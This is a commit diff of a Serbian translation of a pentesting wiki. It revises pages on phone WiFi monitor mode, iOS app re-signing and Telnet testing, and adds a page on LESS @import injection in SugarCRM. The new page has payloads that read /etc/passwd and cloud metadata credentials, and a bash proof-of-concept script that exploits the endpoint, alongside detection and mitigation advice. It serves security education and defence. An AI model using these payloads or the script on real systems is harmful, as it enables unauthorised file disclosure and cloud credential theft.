Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena

This commit is contained in:
Translator 2025-07-15 10:46:36 +00:00
parent 3fef92e706
commit 7c92481f9e
6 changed files with 102 additions and 20 deletions

View File

@ -544,6 +544,7 @@
# 🕸️ Pentesting Web
- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md)
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)

View File

@ -9,7 +9,7 @@ Ova stranica dokumentuje brz radni tok koji uzima potpuno patch-ovan Samsung Gal
* NexMon Magisk modul koji sadrži patch-ovani firmware + `libnexmon.so`
* Hijacker Android aplikaciju za automatizaciju prebacivanja režima monitora
* Opcioni Kali NetHunter chroot za pokretanje klasičnih bežičnih alata (aircrack-ng, wifite, mdk4 …) direktno protiv unutrašnjeg interfejsa
* Opcioni Kali NetHunter chroot za pokretanje klasičnih bežičnih alata (aircrack-ng, wifite, mdk4 …) direktno protiv internog interfejsa
Ista tehnika se primenjuje na bilo koji uređaj koji ima javno dostupni NexMon patch (Pixel 1, Nexus 6P, Galaxy S7/S8, itd.).
@ -22,7 +22,7 @@ Ista tehnika se primenjuje na bilo koji uređaj koji ima javno dostupni NexMon p
* NexMon Magisk ZIP ili samostalno kompajliran patch koji obezbeđuje:
* `/system/lib*/libnexmon.so`
* `/system/xbin/nexutil`
* Hijacker ≥ 1.7 (arm/arm64) https://github.com/chrisk44/Hijacker
* Hijacker ≥ 1.7 (arm/arm64) [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker)
* (Opcionalno) Kali NetHunter ili bilo koji Linux chroot gde planirate da pokrenete bežične alate
---
@ -84,7 +84,7 @@ Ako vam je potrebna samo pasivna sniffing, izostavite `-s0x613` flag.
## Korišćenje `libnexmon` unutar Kali NetHunter / chroot
Stock alati u korisničkom prostoru u Kali ne znaju za NexMon, ali ih možete naterati da ga koriste putem `LD_PRELOAD`:
1. Kopirajte unapred izgrađeni zajednički objekat u chroot:
1. Kopirajte unapred izgrađeni deljeni objekat u chroot:
```bash
cp /sdcard/Download/kalilibnexmon.so <chroot>/lib/
```
@ -106,7 +106,7 @@ Kada je monitor + TX aktivan možete:
* Zabeležiti WPA(2/3-SAE) handshakes ili PMKID sa `wifite`, `hcxdumptool`, `airodump-ng`.
* Injektovati deautentifikacione / disasocijacione okvire da naterate klijente da se ponovo povežu.
* Kreirati proizvoljne upravljačke/podatkovne okvire sa `mdk4`, `aireplay-ng`, Scapy, itd.
* Izgraditi rogue AP-ove ili izvršiti KARMA/MANA napade direktno sa telefona.
* Izgraditi rogue AP-ove ili izvesti KARMA/MANA napade direktno sa telefona.
Performanse na Galaxy S10 su uporedive sa spoljnim USB NIC-ovima (~20 dBm TX, 2-3 M pps RX).
@ -115,7 +115,7 @@ Performanse na Galaxy S10 su uporedive sa spoljnim USB NIC-ovima (~20 dBm TX, 2-
## Rešavanje problema
* `Device or resource busy` uverite se da je **Android Wi-Fi servis onemogućen** (`svc wifi disable`) pre nego što omogućite monitor mod.
* `nexutil: ioctl(PRIV_MAGIC) failed` biblioteka nije preučitana; proverite `LD_PRELOAD` putanju.
* Injekcija okvira radi, ali nema uhvaćenih paketa neki ROM-ovi tvrdo blokiraju kanale; pokušajte `nexutil -c <channel>` ili `iwconfig wlan0 channel <n>`.
* Injekcija okvira radi, ali nema uhvaćenih paketa neki ROM-ovi hard-blokiraju kanale; pokušajte `nexutil -c <channel>` ili `iwconfig wlan0 channel <n>`.
* SELinux blokira biblioteku postavite uređaj na *Permissive* ili popravite kontekst modula: `chcon u:object_r:system_lib_file:s0 libnexmon.so`.
---

View File

@ -15,7 +15,7 @@ Sa starim jailbroken uređajem, moguće je instalirati IPA, **dekriptovati ga ko
### Preuzmite ga od Apple-a
1. Instalirajte aplikaciju koju želite da testirate na iPhone-u
1. Instalirajte aplikaciju koju želite da testirate na iPhone
2. Instalirajte i pokrenite [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) na vašem macOS-u
3. Otvorite `Terminal` na vašem Mac-u, i idite u `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. IPA će se kasnije pojaviti u ovoj fascikli.
4. Trebalo bi da vidite svoj iOS uređaj. Dvaput kliknite na njega, a zatim kliknite na Dodaj + → Aplikacije iz gornjeg menija.
@ -50,11 +50,11 @@ Kada je instaliran, možete koristiti **Iridium tweak** iz Cydie kako biste dobi
### Patch entitlements & re-sign
Da biste ponovo potpisali aplikaciju sa `get-task-allow` entitlements, dostupni su različiti alati kao što su `app-signer`, `codesign` i `iResign`. `app-signer` ima vrlo korisnički prijateljski interfejs koji omogućava vrlo lako ponovo potpisivanje IPA datoteke tako što se navodi IPA za ponovo potpisivanje, da se **stavi `get-task-allow`** i sertifikat i profil za obezbeđenje koji će se koristiti.
Da biste ponovo potpisali aplikaciju sa `get-task-allow` entitlements, dostupni su različiti alati kao što su `app-signer`, `codesign` i `iResign`. `app-signer` ima vrlo korisnički prijateljski interfejs koji omogućava lako ponovo potpisivanje IPA datoteke, ukazujući na IPA koju treba ponovo potpisati, da **stavite `get-task-allow`** i sertifikat i profil za obezbeđenje koji će se koristiti.
Što se tiče sertifikata i profila za potpisivanje, Apple nudi **besplatne profile za potpisivanje developera** za sve naloge putem Xcode-a. Samo kreirajte aplikaciju i konfigurišite jedan. Zatim, konfigurišite **iPhone da veruje aplikacijama developera** tako što ćete otići na `Settings``Privacy & Security`, i kliknite na `Developer Mode`.
Sa ponovo potpisanim IPA, vreme je da ga instalirate na uređaj da biste ga pentestirali:
Sa ponovo potpisanim IPA, vreme je da ga instalirate na uređaj kako biste ga pentestovali:
```bash
ideviceinstaller -i resigned.ipa -w
```
@ -62,28 +62,28 @@ ideviceinstaller -i resigned.ipa -w
### Omogućite režim programera (iOS 16+)
Od iOS 16, Apple je uveo **Režim programera**: bilo koja binarna datoteka koja nosi `get_task_allow` *ili* je potpisana razvojnim sertifikatom odbiće da se pokrene dok se režim programera ne omogući na uređaju. Takođe nećete moći da priključite Frida/LLDB osim ako je ova oznaka uključena.
Od iOS 16, Apple je uveo **Režim programera**: bilo koja binarna datoteka koja nosi `get_task_allow` *ili* je potpisana razvojnim sertifikatom odbiće da se pokrene dok se Režim programera ne omogući na uređaju. Takođe nećete moći da priključite Frida/LLDB osim ako je ova oznaka uključena.
1. Instalirajte ili prenesite **bilo koji** IPA potpisan od strane programera na telefon.
2. Idite na **Podešavanja → Privatnost i bezbednost → Režim programera** i uključite ga.
3. Uređaj će se ponovo pokrenuti; nakon unosa lozinke bićete upitani da **uključite** režim programera.
3. Uređaj će se ponovo pokrenuti; nakon unosa lozinke bićete upitani da **Uključite** Režim programera.
Režim programera ostaje aktivan dok ga ne onemogućite ili ne obrišete telefon, tako da ovaj korak treba izvesti samo jednom po uređaju. [Apple dokumentacija](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) objašnjava bezbednosne implikacije.
### Savremene opcije sideloadinga
Sada postoji nekoliko zrelih načina za sideloading i održavanje ponovo potpisanih IPA-a ažuriranim bez jailbreak-a:
Sada postoji nekoliko zrelih načina za sideloading i održavanje ponovo potpisanih IPA-a ažurnim bez jailbreak-a:
| Alat | Zahtevi | Snage | Ograničenja |
|------|--------------|-----------|-------------|
| **AltStore 2 / SideStore** | macOS/Windows/Linux pratilac koji ponovo potpisuje IPA svake 7 dana sa besplatnim razvojnim profilom | Automatsko učitavanje preko Wi-Fi, radi do iOS 17 | Potreban računar na istoj mreži, ograničenje od 3 aplikacije koje nameće Apple |
| **TrollStore 1/2** | Uređaj na iOS 14 15.4.1 ranjiv na CoreTrust grešku | *Trajno* potpisivanje (bez 7-dnevnog ograničenja); nije potreban računar nakon instalacije | Nije podržano na iOS 15.5+ (greška ispravljena) |
Za rutinske pentestove na trenutnim verzijama iOS-a, Alt/Side-Store su obično najpraktičniji izbor.
Za rutinske pentestove na trenutnim iOS verzijama, Alt/Side-Store su obično najpraktičniji izbor.
### Hooking / dinamička instrumentacija
Možete hook-ovati vašu aplikaciju tačno kao na jailbreak-ovanom uređaju kada je potpisana sa `get_task_allow` **i** kada je režim programera uključen:
Možete hook-ovati vašu aplikaciju tačno kao na jailbreak-ovanom uređaju kada je potpisana sa `get_task_allow` **i** kada je Režim programera uključen:
```bash
# Spawn & attach with objection
objection -g "com.example.target" explore
@ -95,7 +95,7 @@ Nedavne Frida verzije (>=16) automatski upravljaju autentifikacijom pokazivača
### Automatizovana dinamička analiza sa MobSF (bez jailbreak-a)
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) može instrumentirati dev-potpisanu IPA na pravom uređaju koristeći istu tehniku (`get_task_allow`) i pruža web UI sa pretraživačem datotečnog sistema, hvatanjem saobraćaja i Frida konzolom【†L2-L3】. Najbrži način je da pokrenete MobSF u Docker-u, a zatim povežete svoj iPhone putem USB-a:
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) može instrumentisati IPA potpisan od strane developera na pravom uređaju koristeći istu tehniku (`get_task_allow`) i pruža web UI sa pretraživačem datotečnog sistema, hvatanjem saobraćaja i Frida konzolom【】. Najbrži način je da pokrenete MobSF u Docker-u, a zatim povežete svoj iPhone putem USB-a:
```bash
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -p 8000:8000 --privileged \
@ -107,7 +107,7 @@ MobSF će automatski implementirati binarni fajl, omogućiti Frida server unutar
### iOS 17 & Lockdown Mode upozorenja
* **Lockdown Mode** (Podešavanja → Privatnost i bezbednost) blokira dinamički linker da učitava nesigned ili spolja potpisane dinamičke biblioteke. Kada testirate uređaje koji mogu imati ovaj režim omogućen, uverite se da je **onemogućen** ili će vaše Frida/objection sesije odmah prekinuti.
* **Lockdown Mode** (Podešavanja → Privatnost & Bezbednost) blokira dinamički linker da učitava nesigned ili eksterno potpisane dinamičke biblioteke. Kada testirate uređaje koji mogu imati ovaj režim omogućen, uverite se da je **onemogućen** ili će vaši Frida/objection sesije odmah prekinuti.
* Pointer Authentication (PAC) se sprovodi sistemski na A12+ uređajima. Frida ≥16 transparentno obrađuje PAC stripping — samo održavajte *frida-server* i Python/CLI alatke ažuriranim kada nova glavna verzija iOS-a bude objavljena.
## Reference

View File

@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
```
Skripta `telnet-ntlm-info.nse` će dobiti NTLM informacije (verzije Windows-a).
Iz [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): U TELNET protokolu postoje različite "**opcije**" koje će biti odobrene i mogu se koristiti sa strukturom "**DO, DON'T, WILL, WON'T**" kako bi se omogućilo korisniku i serveru da se dogovore o korišćenju složenijeg (ili možda samo drugačijeg) skupa konvencija za njihovu TELNET vezu. Takve opcije mogu uključivati promenu skupa karaktera, režim eha, itd.
Iz [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): U TELNET protokolu postoje razne "**opcije**" koje će biti odobrene i mogu se koristiti sa strukturom "**DO, DON'T, WILL, WON'T**" kako bi se omogućilo korisniku i serveru da se dogovore o korišćenju složenijeg (ili možda samo drugačijeg) skupa konvencija za njihovu TELNET vezu. Takve opcije mogu uključivati promenu skupa karaktera, režim eha, itd.
**Znam da je moguće enumerisati ove opcije, ali ne znam kako, pa me obavestite ako znate kako.**
@ -71,9 +71,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
* **CVE-2024-45698 D-Link Wi-Fi 6 ruteri (DIR-X4860)**: Ugrađena Telnet usluga je prihvatila hard-kodirane akreditive i nije sanitizovala unos, omogućavajući neautentifikovanu daljinsku RCE kao root putem kreiranih komandi na portu 23. Ispravljeno u firmveru ≥ 1.04B05.
* **CVE-2023-40478 NETGEAR RAX30**: Prelivanje bafera zasnovano na steku u Telnet CLI `passwd` komandi omogućava susednom napadaču da zaobiđe autentifikaciju i izvrši proizvoljan kod kao root.
* **CVE-2022-39028 GNU inetutils telnetd**: Dvobajtna sekvenca (`0xff 0xf7` / `0xff 0xf8`) izaziva dereferencu NULL pokazivača koja može srušiti `telnetd`, što rezultira postojanim DoS nakon nekoliko rušenja.
* **CVE-2022-39028 GNU inetutils telnetd**: Dvobajtna sekvenca (`0xff 0xf7` / `0xff 0xf8`) izaziva dereferencu NULL pokazivača koja može srušiti `telnetd`, što rezultira trajnim DoS nakon nekoliko rušenja.
Imajte ove CVE-e na umu tokom triage ranljivosti—ako cilj koristi neispravljen firmver ili nasleđeni inetutils Telnet demon, možda imate jednostavan put do izvršenja koda ili ometajućeg DoS.
Imajte ove CVE-e na umu tokom triage ranljivosti—ako cilj koristi neispravljen firmver ili legacijski inetutils Telnet demon, možda imate jednostavan put do izvršenja koda ili ometajućeg DoS-a.
### Snimanje Akreditiva & Man-in-the-Middle
@ -114,7 +114,7 @@ Nakon što se dobije shell, zapamtite da su **TTY obično glupi**; nadogradite s
### Ojačavanje i Detekcija (plavi tim)
1. Preferirajte SSH i potpuno onemogućite Telnet servis.
2. Ako je Telnet neophodan, povežite ga samo sa upravljačkim VLAN-ovima, primenite ACL-ove i obavijte daemon sa TCP wrapperima (`/etc/hosts.allow`).
2. Ako je Telnet neophodan, povežite ga samo sa upravljačkim VLAN-ovima, primenite ACL-ove i obavijte daemon sa TCP wrappers (`/etc/hosts.allow`).
3. Zamenite zastarele `telnetd` implementacije sa `ssl-telnet` ili `telnetd-ssl` da dodate transportnu enkripciju, ali **ovo samo štiti podatke u tranzitu—pogađanje lozinki ostaje trivijalno**.
4. Pratite izlazni saobraćaj ka portu 23; kompromitacije često pokreću obrnute shelle preko Telnet-a da zaobiđu stroge HTTP egress filtere.
@ -123,4 +123,4 @@ Nakon što se dobije shell, zapamtite da su **TTY obično glupi**; nadogradite s
* D-Link Advisory CVE-2024-45698 Kritična Telnet RCE.
* NVD CVE-2022-39028 inetutils `telnetd` DoS.
{{#include /banners/hacktricks-training.md}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -0,0 +1,75 @@
# LESS Code Injection vodi do SSRF & Čitanja lokalnih fajlova
{{#include ../banners/hacktricks-training.md}}
## Pregled
LESS je popularni CSS preprocesor koji dodaje promenljive, mixine, funkcije i moćnu `@import` direktivu. Tokom kompajliranja, LESS engine će **preuzeti resurse navedene u `@import`** izjavama i ugraditi ("inline") njihov sadržaj u rezultantni CSS kada se koristi opcija `(inline)`.
Kada aplikacija konkatenira **ulaz koji kontroliše korisnik** u string koji kasnije obrađuje LESS kompajler, napadač može **ubaciti proizvoljni LESS kod**. Zloupotrebom `@import (inline)` napadač može naterati server da preuzme:
* Lokalne fajlove putem `file://` protokola (otkrivanje informacija / Uključivanje lokalnih fajlova).
* Udaljene resurse na internim mrežama ili uslugama metapodataka u oblaku (SSRF).
Ova tehnika je viđena u stvarnim proizvodima kao što je **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` endpoint).
## Eksploatacija
1. Identifikujte parametar koji je direktno ugrađen unutar stringa stilskog lista koji obrađuje LESS engine (npr. `?lm=` u SugarCRM).
2. Zatvorite trenutnu izjavu i ubacite nove direktive. Najčešće primitivne su:
* `;` završava prethodnu deklaraciju.
* `}` zatvara prethodni blok (ako je potrebno).
3. Koristite `@import (inline) '<URL>';` da pročitate proizvoljne resurse.
4. Opcionalno, ubacite **marker** (`data:` URI) nakon importa da olakšate ekstrakciju preuzetog sadržaja iz kompajliranog CSS-a.
### Čitanje lokalnih fajlova
```
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
```
Sadržaj `/etc/passwd` će se pojaviti u HTTP odgovoru neposredno pre `@@END@@` oznake.
### SSRF Cloud Metadata
```
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
```
### Automatizovani PoC (SugarCRM primer)
```bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
```
## Detekcija
* Tražite dinamički generisane `.less` ili `.css` odgovore koji sadrže nesanitizovane parametre upita.
* Tokom pregleda koda, pretražujte konstrukcije poput `"@media all { .preview { ... ${userInput} ... } }"` prosleđenih LESS render funkcijama.
* Pokušaji eksploatacije često uključuju `@import`, `(inline)`, `file://`, `http://169.254.169.254`, itd.
## Mogućnosti ublažavanja
* **Ne** prosleđujte nepouzdane podatke LESS kompajleru.
* Ako su dinamičke vrednosti potrebne, pravilno **escape**/sanitizujte ih (npr., ograničite na numeričke tokene, bele liste).
* Onemogućite, kada je to moguće, mogućnost korišćenja `(inline)` uvoza, ili ograničite dozvoljene protokole na `https`.
* Održavajte zavisnosti ažuriranim SugarCRM je ispravio ovaj problem u verzijama 13.0.4 i 14.0.1.
## Slučajevi iz stvarnog sveta
| Proizvod | Ranjiva tačka | Uticaj |
|----------|----------------|--------|
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Neautentifikovani SSRF & čitanje lokalnih fajlova |
## Reference
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,4 +4,10 @@
Proverite **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
- SugarCRM ≤ 14.0.0 LESS `@import` injekcija u `/rest/v10/css/preview` omogućava neautentifikovani SSRF i čitanje lokalnih fajlova.
{{#ref}}
../less-code-injection-ssrf.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}